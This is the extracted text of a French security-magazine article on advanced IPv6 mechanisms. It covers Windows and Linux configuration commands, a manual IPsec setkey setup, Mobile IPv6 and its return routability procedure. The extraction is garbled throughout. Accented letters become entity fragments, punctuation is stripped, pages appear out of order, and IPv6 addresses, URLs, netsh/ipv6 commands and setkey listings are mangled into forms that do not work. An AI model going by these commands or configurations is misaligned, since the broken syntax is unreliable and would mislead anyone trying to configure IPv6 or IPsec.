ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 40: hakin9_05_2010_FR

5201044

Pratique

deacutechanges de cleacutes les paramegravetres dassociations de seacutecuriteacute agrave neacutegocier hellip

bull les cleacutes utiles lors de lauthentification mutuelle des eacutequipements IPsec qui intervient en preacutealable agrave toute neacutegociation dassociation de seacutecuriteacute Ces cleacutes peu-vent ecirctre des cleacutes partageacutees (pre-shared key) preacutecon-figureacutees par ladministrateur ou des cleacutes priveacuteespubli-ques personnelles agrave chaque eacutequipement IPsec et preacute-chargeacutees dans les eacutequipements ou encore un certifi-cat eacutelectronique geacutereacute par une infrastructure agrave cleacutes pu-bliques (PKI Public Key Infrastructure)

A lrsquoheure actuelle deux versions cohabitent IKEv1 tregraves complexe et IKEv2 qui en est une version simplifieacutee pour sa mise en œuvre ainsi que par son meacutecanisme

Mobiliteacute de Machines MiPv6En termes de mobiliteacute deux meacutecanismes principaux se distinguent la micro-mobiliteacute et la macro-mobiliteacute La micro-mobiliteacute est celle utiliseacutee entre autres par le wifi Les entiteacutes en cours de deacuteplacement sassocient de nouveau agrave des stations de base et conservent leur possibiliteacute de connectiviteacute au sein drsquoun domaine Cette gestion des handovers est relativement fine et limite la signalisation au sein du reacuteseau Ces meacutecanismes sont cependant peu efficaces au sein de plusieurs domai-nes En effet les adresses IP sont dans ce dernier cas reneacutegocieacutees pour mapper au domaine et pouvoir ainsi ecirctre routables

La macro-mobiliteacute reacutesout ce problegraveme en conservant une connectiviteacute IP mecircme lors drsquoun changement de do-maine Les adresses IP originelles continuent drsquoecirctre uti-liseacutees lors des communications De mecircme les sessions TCP peuvent ainsi rester fonctionnelles lors drsquoun deacutepla-cement entre domaines IPv6 integravegre ce concept dans le protocole MIPv6 (Mobile IPv6)

ConceptsAvant de poursuivre il convient de deacutefinir les mots cleacutes principaux utiliseacutes par MIPv6

bull Reacuteseau Megravere reacuteseau auquel la machine appar-tient initialement

bull Nœud correspondant machine dialoguant avec le mobile

bull Home Address adresse IPv6 dans le reacuteseau megraverebull Care-of Address adresse IPv6 dans le reacuteseau visiteacutebull Agent Megravere machine du reacuteseau megravere servant drsquoin-

terface entre le mobile et le nœud correspondant

MIPv6 utilise intensivement la notion de tunnels Scheacute-matiquement les paquets transmis par le mobile dans un reacuteseau eacutetranger passent par lrsquoAgent Megravere preacutesent dans le reacuteseau megravere avant drsquoecirctre retransmis au Nœud corres-pondant Le chemin de retour est identique Le routage sous-jacent apporte le paquet jusqursquoagrave lrsquoAgent Megravere qui le retransmet au mobile dans son reacuteseau visiteacute

Lrsquoagent megravere doit eacutegalement ecirctre capable agrave tout mo-ment de localiser ses mobiles en deacuteplacement Il utilise pour cela un cache baptiseacute Binding Cache associant Home Address et Care-of Address de ses diffeacuterents mo-biles Un meacutecanisme de signalisation proteacutegeacute par IPsec en mode ESP est par conseacutequent utiliseacute pour mettre agrave jour ce cache Il ne sera pas fait eacutetat des paquets MIPv6 ici il srsquoagit simplement de savoir que cette mise agrave jour srsquoeffectue agrave lrsquoaide de paquets particuliers nommeacutes Bin-ding Update Ceux-ci sont geacuteneacuteralement acquitteacutes par lrsquoAgent Megravere par des Binding Acknowledgment

Lrsquoensemble des meacutecanismes basiques de MIPv6 se situe au niveau de la couche IP dans le modegravele TCPIP Ils ont eacuteteacute modeleacutes pour permettre une communication avec des entiteacutes nrsquoayant pas conscience des protoco-les de mobiliteacute Ils nont aucun effet sur les couches de

table 3 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte ESP

Champs Taille RocircleSPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave

utiliser

Sequence Number 32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le rejeu

IV VariableSelon lrsquoalgorithme usiteacute

Vecteur drsquoinitialisation eacuteventuel pour les algorithmes de chiffrement

TFC Padding Variable Traffic Flow Confidentiality Utiliseacute pour une protection contre les attaques statistiques

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte ESP est un multiple de 64 bits (32 bits pour IPv4)

Pad Length 8 bits Indique la taille du champ Padding en octets

Next Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine extension drsquoen-tecircte Similaire au champ Protocol en IPv4

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 45

niveau transport et applicative Pour le correspondant cette communication est totalement transparente

Mobiliteacute de Machines MiP6Le mobile situeacute dans son reacuteseau megravere utilise sa Home Address pour dialoguer de maniegravere classique avec des Nœuds correspondants Lorsqursquoil se deacuteplace dans un reacuteseau visiteacute la proceacutedure est la suivante

bull Le mobile obtient une nouvelle adresse IP par com-binaison de son adresse MAC et du nouveau preacute-fixe reacuteseau la Care-of Address Il dispose toujours de sa Home Address

bull Le mobile transmet un Binding Update agrave lrsquoagent megravere afin de mettre agrave jour son cache drsquoassociation Ce paquet eacutetant proteacutegeacute par IPsec en mode ESP lrsquoauthentification lrsquoanti-rejeu la confidentialiteacute et lrsquoin-teacutegriteacute sont assureacutes

bull Lrsquoagent megravere aura alors agrave charge de capturer les paquets auparativement transmis au mobile II uti-lise dans cette optique les possibiliteacutes offertes par le protocole de deacutecouverte des voisins (Neighbor Discovery) en annonccedilant son adresse MAC com-me destinataire de lrsquoensemble des paquets unicast agrave destination du mobile Les caches NDP des ma-chines preacutesentent sur le lien megravere seront ainsi re-mis agrave jour

bull Lorsque le mobile souhaite dialoguer avec un nœud correspondant il peut choir drsquoutiliser son nouvel adres-sage ou de masquer sa mobiliteacute par lrsquoutilisation de sa Home Address Dans ce dernier cas il construit un tunnel ESP avec son Agent Megravere et encapsule les pa-quets agrave destination de son correspondant Lrsquoadresse source de la partie interne est ainsi la Home Address lrsquoadresse destination est celle du correspondant

bull Le paquet parvient agrave lrsquoAgent Megravere qui veacuterifie son authentification le deacutechiffre le deacutesencapsule et le retransmet sur le reacuteseau

bull Le correspondant pourra y reacutepondre de maniegravere sy-meacutetrique Cette reacuteponse sera captureacutee par lrsquoAgent Megravere chiffreacutee et authentifieacutee avant drsquoecirctre retrans-mise au mobile dans le tunnel ESP En cas drsquoun deacute-placement en cours de communication le binding cache aura eacuteteacute actualiseacute permettant agrave lrsquoAgent megravere de retrouver son mobile

La Figure 8 positionne ces diffeacuterentes entiteacutes dans un contexte MIPv6

Optimisations de routesLes eacutechanges entre mobiles et correspondants nrsquoeacutetant pas toujours les plus optimums en matiegravere de routage MIPv6 integravegre un mode drsquooptimisation pour les corres-pondants inteacutegrant des fonctions speacutecifiques Il srsquoagit de supprimer simplement la passerelle occasionneacutee par lrsquoAgent Megravere

Pour cela MIPv6 deacutefinit 2 nouvelles options

bull Routing Header de type 2 qui est simplement une extension drsquoen-tecircte Routing Header contenant la Home Address du mobile

bull Home Address Option qui est une sous-option de lrsquoextension drsquoen-tecircte Destination Option Header trai-teacute uniquement par le reacutecepteur du paquet

Lorsquun correspondant supporte loptimisation de rou-tage il maintient tout comme lAgent Megravere une table des associations pour tous les mobiles avec lesquels il est en communication Une veacuterification axeacutee autour drsquoICM-Pv6 est preacutealable avant toute optimisation

Le principe est alors assez proche de celui utiliseacute avec lrsquoAgent Megravere

bull Le mobile en deacuteplacement transmet un Binding Update au correspondant pour lui faire eacutetat de sa nouvelle localisation apregraves en avoir fait de mecircme agrave

table 4 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour ESP en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute

Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de ESP (50) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule

Aucune modification

5201046

Pratique

son Agent Megravere Ce correspondant mettra alors agrave jour son Binding Cache

bull Lorsque le mobile veut transmettre un message au correspondant il utilise en adresse source sa Care-of Address mais ajoute lrsquooption Home Address Option

bull Le paquet subira le routage classique entre le mobi-le et le correspondant remontera dans la pile MIPv6 de ce correspondant qui eacutechangera Care-of Address du champ adresse source et Home Address preacutesen-tes dans lrsquooption Home Address Option Pour la pi-le IPv6 le paquet sera transparent comme prove-nant directement du mobile depuis son reacuteseau Megravere Si ce paquet est proteacutegeacute par IPsec les veacuterifications sappuieront donc sur lrsquoadresse megravere

bull Avant de reacutepondre le correspondant cherchera dans sa table drsquoassociation la Care-Of Address du mobile Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera lrsquooption Rou-ting Header de type 2 remplie avec la Home Address

bull Le paquet parviendra donc au mobile qui eacutechangera preacutealablement lrsquoadresse de destination avec la Home Address Le paquet remontera donc eacutegalement dans les couches de maniegravere totalement transparente

Ce meacutecanisme donne donc des trajectoires opti-mums en matiegravere de routage et permet de limiter les contraintes en matiegravere drsquoingress et drsquooutgress filte-ring Ce meacutecanisme de mise agrave jour dassociation po-se cependant dimportants problegravemes en matiegravere de seacutecuriteacute En effet il est aiseacute de proteacuteger les eacutechan-ges de signalisation entre le mobile et lagent megravere du fait de la relation administrative qui permet par exemple lutilisation dun secret partageacute mais ceci est beaucoup plus compliqueacute en ce qui concerne les correspondants sans protection il serait possible de deacutetourner les communications dun mobile en re-dirigeant le trafic pour lespionner ou de mener une attaque par deacuteni de service Une proceacutedure speacutecifi-que baptiseacutee Return Routability proceacutedure doit donc ecirctre mise en œuvre avant toute deacutecision drsquooptimisa-tion

return routability proceacutedureCette proceacutedure est destineacutee agrave la protection partielle des associations de seacutecuriteacute entre mobile et correspon-dant dans le cas de lrsquooptimisation de route Elle repose sur une utilisation de 4 messages principaux

table 5 Les commandes essentielles IPv6 sous Windows

Commande Netsh Rocirclenetsh interface ipv6 show interface Affiche les interfaces IPv6

netsh interface ipv6 set interface[[interface=]String][[forwarding=]enabled | disabled][[advertise=]enabled | disabled][[mtu=]Integer] [[siteid=]Integer][[metric=]Integer] [[store=]active |persistent]

Permet drsquoactiver le forwarding des interfaces les annonces de Rout-er Advertisement

netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

